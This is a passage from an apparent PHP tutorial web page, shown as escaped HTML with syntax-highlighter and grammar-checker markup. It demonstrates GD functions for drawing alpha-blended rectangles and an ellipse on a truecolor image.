&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;dc18d3ad-683a-4fb8-b618-d1e62444af01&quot; id=&quot;41f05c2c-28c1-413b-a160-f223e40833aa&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;dc18d3ad-683a-4fb8-b618-d1e62444af01&quot; id=&quot;10d5c44b-78ff-41da-a0b7-c1315232983f&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;dc18d3ad-683a-4fb8-b618-d1e62444af01&quot; id=&quot;de635daf-2ad0-41f3-8478-ecb2788eb27e&quot;&gt;,&lt;/span&gt;100,0,400,100,0x60ff1111);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;19cde008-ccd9-4aa3-8df5-d9f1abcfb024&quot; id=&quot;09be4098-38aa-42f8-a722-df39751ac1b4&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;19cde008-ccd9-4aa3-8df5-d9f1abcfb024&quot; id=&quot;5fe6d8e4-90ad-4cc0-bfe6-2e13c0b90b7e&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;19cde008-ccd9-4aa3-8df5-d9f1abcfb024&quot; id=&quot;0113f6a9-91df-4457-8f30-1e68036a3ab6&quot;&gt;,&lt;/span&gt;100,100,400,200,0x30ff1111);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;62cbb3d3-bb5a-488d-be84-6b4d318b9705&quot; id=&quot;77f6a03b-7539-404f-a30a-8936de781557&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;62cbb3d3-bb5a-488d-be84-6b4d318b9705&quot; id=&quot;3fa7c3cb-056e-40bb-a915-4b7f7478be78&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;62cbb3d3-bb5a-488d-be84-6b4d318b9705&quot; id=&quot;645e2e1f-b67e-41fc-8596-7073970a3d87&quot;&gt;,&lt;/span&gt;100,200,400,300,0x10ff1111);
Header&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d6edb122-d0b1-42bf-be42-d986cabd96f4&quot; id=&quot;1ad9e26d-038e-46c8-bfdf-0151f8266a28&quot;&gt;(&lt;/span&gt;&#39;Content-Type: image/png&#39;);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;995c23b4-402d-4fe5-83d4-ba228686433f&quot; id=&quot;6290afe3-d2e2-4052-8509-da91cb4ed72a&quot;&gt;ImagePNG&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;995c23b4-402d-4fe5-83d4-ba228686433f&quot; id=&quot;8d0f65bf-85f5-4a0f-b6cd-d19590ced6fa&quot;&gt;(&lt;/span&gt;$im);
?&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e53-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e53-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e53-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e53-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e53-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e53-6&quot;&gt;
6&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e53-7&quot;&gt;
7&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e53-8&quot;&gt;
8&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e53-9&quot;&gt;
9&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e53-10&quot;&gt;
10&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e53-11&quot;&gt;
11&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e53-1&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;60cec44e-41c2-45c9-b62e-b4fc1f391bd3&quot; id=&quot;43a94cb8-dd24-4b2a-b80c-ae24adc09c3b&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;60cec44e-41c2-45c9-b62e-b4fc1f391bd3&quot; id=&quot;dfdfc998-e2b8-4efc-b627-95340604d192&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e53-2&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageCreateTruecolor&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e9f02d4b-826f-465e-913a-891810ff0683&quot; id=&quot;23c6e9c6-10c2-43e8-8173-b0dee1c861ae&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e53-3&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;00fe9336-8103-40bf-b0f7-9d0f88cf9d78&quot; id=&quot;5567f60f-6f32-4e59-9afb-93517ff285d9&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;00fe9336-8103-40bf-b0f7-9d0f88cf9d78&quot; id=&quot;87fec11e-b667-41d6-b49f-3e7f8894dff1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;00fe9336-8103-40bf-b0f7-9d0f88cf9d78&quot; id=&quot;0c0566e9-f31f-45a8-a785-b8dca9342dc3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;399&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;299&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x00ffffff&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e53-4&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a4c003cf-0dff-4181-845a-4f2d970be50d&quot; id=&quot;18a5d3ed-7a22-4cea-84f1-f221d1b55926&quot;&gt;ImageFilledEllipse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a4c003cf-0dff-4181-845a-4f2d970be50d&quot; id=&quot;9dd8d2af-4b80-4888-9d04-bc2b310e7707&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a4c003cf-0dff-4181-845a-4f2d970be50d&quot; id=&quot;a5a5c45c-fe4f-4c5e-8fd5-6aec252a7673&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;150&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x00000000&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e53-5&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;60ca7c8b-c65c-44da-afdd-a992a18fed18&quot; id=&quot;3304c96e-514a-423c-b921-5c4c6e00e3e2&quot;&gt;ImageAlphaBlending&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;60ca7c8b-c65c-44da-afdd-a992a18fed18&quot; id=&quot;4c316620-a39c-4c00-8b9f-40c0fcd56874&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;60ca7c8b-c65c-44da-afdd-a992a18fed18&quot; id=&quot;67b4e39b-c875-4a0e-8fb9-3b8b66bdba0d&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-t&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e53-6&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3c80d4ac-2346-4b89-a8e8-ea137abb6181&quot; id=&quot;d1fb6184-1e18-43cf-8469-761e3a4f95e0&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3c80d4ac-2346-4b89-a8e8-ea137abb6181&quot; id=&quot;ac77df01-6dfc-49cf-bb84-c97dbf4dcf4e&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3c80d4ac-2346-4b89-a8e8-ea137abb6181&quot; id=&quot;8af92427-44d1-4a70-a995-5c851c14bb06&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x60ff1111&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e53-7&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7bcd7f52-bf1a-4d6f-971c-e77012b14299&quot; id=&quot;a3be34aa-4d6a-4a01-9a65-1751a827bbff&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7bcd7f52-bf1a-4d6f-971c-e77012b14299&quot; id=&quot;cd403072-4ab6-4b94-a6c7-6150a628f10e&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7bcd7f52-bf1a-4d6f-971c-e77012b14299&quot; id=&quot;e2c566f5-0bf8-460e-bb97-d3d1c6b37a39&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x30ff1111&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e53-8&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f3f370df-54f6-41b8-a518-6075ae8bfe61&quot; id=&quot;750859fd-5a5c-4d66-8c5e-23252e68ec82&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f3f370df-54f6-41b8-a518-6075ae8bfe61&quot; id=&quot;3b6cfd85-a423-4488-a785-87fdf0d8fb8e&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f3f370df-54f6-41b8-a518-6075ae8bfe61&quot; id=&quot;c4519b97-fd8b-4a89-8e54-efc5265732c8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x10ff1111&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e53-9&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;Header&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;863f923b-39c5-4b08-ae1f-c83dbda964f3&quot; id=&quot;7a532f52-4bd8-4844-9f55-46378b2457ad&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;Content-Type: image/png&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e53-10&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;33270d86-a87d-4b7c-b43e-e5885d2c2b64&quot; id=&quot;709f5cac-f6bf-4b5a-aaff-c81a36b6dc38&quot;&gt;ImagePNG&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;33270d86-a87d-4b7c-b43e-e5885d2c2b64&quot; id=&quot;827a6c77-41a6-4ab9-8cb6-1018378c18b8&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e53-11&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h5&gt;
Output:&lt;/h5&gt;
&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/06/truecolor-handling.jpg&quot;&gt;&lt;img alt=&quot;color Handling&quot; class=&quot;alignnone size-medium wp-image-627&quot; height=&quot;225&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/06/truecolor-handling-300x225.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

This example could also be written like this:&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0613213e97&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;794c7d44-3412-494c-ac8b-b45178c78437&quot; id=&quot;2a4d13ff-d545-4149-90be-29f2585de2c4&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;794c7d44-3412-494c-ac8b-b45178c78437&quot; id=&quot;cbb6328c-f25e-4a14-a7ea-5b6aa4087396&quot;&gt;php&lt;/span&gt;
$im = ImageCreateTruecolor&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e2ebe4b9-9470-4e88-b688-e212e43b02f8&quot; id=&quot;125cb943-0cb4-4219-bd77-1855b45e3109&quot;&gt;(&lt;/span&gt;400,300);
$white = ImageColorAllocate&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9e4d0ad8-08ec-4864-8a6b-d8be243d59f8&quot; id=&quot;afc5221d-cd5b-4d2d-a86c-3a0ddd5bf8fa&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9e4d0ad8-08ec-4864-8a6b-d8be243d59f8&quot; id=&quot;e0ab02fa-3766-48dc-898d-003ad82826bd&quot;&gt;,&lt;/span&gt;255,255,255);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6c5d1f08-9def-4585-905b-4e80e7241284&quot; id=&quot;6fa27963-e380-4d7d-87c5-463b05c66524&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6c5d1f08-9def-4585-905b-4e80e7241284&quot; id=&quot;0c53efd8-fa9f-44a5-b65e-efe139c998b2&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6c5d1f08-9def-4585-905b-4e80e7241284&quot; id=&quot;4d5674fc-d0d8-4a8e-87fc-15aada50eaa1&quot;&gt;,&lt;/span&gt;0,0,399,299&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6c5d1f08-9def-4585-905b-4e80e7241284&quot; id=&quot;ff8f91d6-28b0-4efc-8b1a-9d545ea46d3b&quot;&gt;,&lt;/span&gt;$white);
$black = ImageColorAllocate&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e60423ed-f43e-4333-8e05-dbf5edcfb2a3&quot; id=&quot;8a4fed60-5d9f-4418-8b35-64d9217e2d2e&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e60423ed-f43e-4333-8e05-dbf5edcfb2a3&quot; id=&quot;01c7e7bf-055f-4fd6-b1a2-9420569b7d40&quot;&gt;,&lt;/span&gt;0,0,0);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fe98b42c-c380-4b88-887a-5688bf7be5b7&quot; id=&quot;6d980633-3d89-4158-a1fd-b63ca1760966&quot;&gt;ImageFilledEllipse&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fe98b42c-c380-4b88-887a-5688bf7be5b7&quot; id=&quot;bbac0887-3fa2-45b8-804b-d007f541e9dd&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fe98b42c-c380-4b88-887a-5688bf7be5b7&quot; id=&quot;7840d5d2-f4d3-4bb5-9505-93beab71a7ee&quot;&gt;,&lt;/span&gt;200,150,300,300&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fe98b42c-c380-4b88-887a-5688bf7be5b7&quot; id=&quot;5b85895c-e008-407b-87e2-ccd4c7e185da&quot;&gt;,&lt;/span&gt;$black);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b5364339-1cb6-4420-9477-d30448bd7a9c&quot; id=&quot;8256cf42-837d-40b3-9cd3-68235aadbb24&quot;&gt;ImageAlphaBlending&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b5364339-1cb6-4420-9477-d30448bd7a9c&quot; id=&quot;fb549615-96ea-4041-800d-73e1109648e7&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b5364339-1cb6-4420-9477-d30448bd7a9c&quot; id=&quot;9a5eb0f4-f21b-4da3-9c13-3afd6c1c8afd&quot;&gt;,&lt;/span&gt;true);
$col = ImageColorResolveAlpha($im,0xff,0x11,0x11,0x60);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ebb394f5-9d27-439b-95ba-e05793bca45a&quot; id=&quot;d6e9ad65-23b9-4882-9e0f-83a22f48aa2e&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ebb394f5-9d27-439b-95ba-e05793bca45a&quot; id=&quot;34dcc3af-8d2d-4300-b6ed-38e78cab9071&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ebb394f5-9d27-439b-95ba-e05793bca45a&quot; id=&quot;6d21cca9-29ad-40c9-b3b9-aba1db37000c&quot;&gt;,&lt;/span&gt;100,0,400,100&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ebb394f5-9d27-439b-95ba-e05793bca45a&quot; id=&quot;224c6cf1-1b8a-4233-8850-96eb83f10998&quot;&gt;,&lt;/span&gt;$col);
$col = ImageColorResolveAlpha($im,0xff,0x11,0x11,0x30);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4c4bdc4e-34ae-4b89-9097-2f6da2ab9b88&quot; id=&quot;1e30b351-07b5-4ad2-b873-b1741b118f12&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4c4bdc4e-34ae-4b89-9097-2f6da2ab9b88&quot; id=&quot;6393cc85-08f5-4ce2-8ca0-d323004ccbfb&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4c4bdc4e-34ae-4b89-9097-2f6da2ab9b88&quot; id=&quot;6c034f66-7cbc-497c-a0dc-0cf766e766d4&quot;&gt;,&lt;/span&gt;100,100,400,200&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4c4bdc4e-34ae-4b89-9097-2f6da2ab9b88&quot; id=&quot;589843a4-b783-42af-bcea-1b8b61bdf812&quot;&gt;,&lt;/span&gt;$col);
$col = ImageColorResolveAlpha($im,0xff,0x11,0x11,0x10);
